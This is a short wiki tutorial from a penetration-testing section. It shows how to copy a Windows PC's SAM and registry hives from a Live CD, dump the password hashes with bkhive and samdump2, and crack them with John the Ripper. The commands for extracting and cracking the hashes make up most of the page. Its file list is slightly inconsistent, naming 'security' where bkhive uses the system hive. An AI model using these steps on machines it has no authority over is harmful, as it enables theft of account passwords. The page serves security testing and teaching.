View source for Bkhive, samdump2, john

[[Main Page|Home]] > [[CentOS]] > [[CentOS 6.x]] > [[Penetration testing tools]] > [[John]] > [[Bkhive, samdump2, john]]

=Using bkhive, samdump2 and john to crack windows passwords=

We can use bkhive, samdump2 and john to crack windows passwords. Weak passwords get cracked within minutes using this technique. 

# Copy '<tt>C:\Windows\system32\config\sam</tt>' and '<tt>C:\Windows\system32\config\security</tt>'. These files cannot be copied even as administrator when windows is running. Hence you have to boot target PC using Live CD to get these files.
# Unzip <tt>Bkhive.zip</tt> in some folder.
#:<tt>usage: bkhive systemhive keyfile</tt>
#:so type command: '<tt>wine Bkhive.exe system keys.txt</tt>'
#:Note: use Bkreg in place of Bkhive for pre Sp4 systems.
#Unzip <tt>Samdump2.zip</tt> in some folder
#Type command '<tt>wine Samdump2.exe SAM keys.txt &gt; hashes.txt</tt>'
#Now use '<tt>john hashes.txt</tt>' to crack the passwords.
#To see the cracked passwords later, just type 'john -show hashes.txt' in same folder. There is a <tt>john.pot</tt> file in the folder making this possible. John also stores some information in <tt>~/.john</tt>.

Note: We can start john using '<tt>john --session=imp</tt>' and press 'Ctrl+C' to stop john in between. To resume we can use '<tt>john --restore=imp</tt>'.



[[Main Page|Home]] > [[CentOS]] > [[CentOS 6.x]] > [[Penetration testing tools]] > [[John]] > [[Bkhive, samdump2, john]]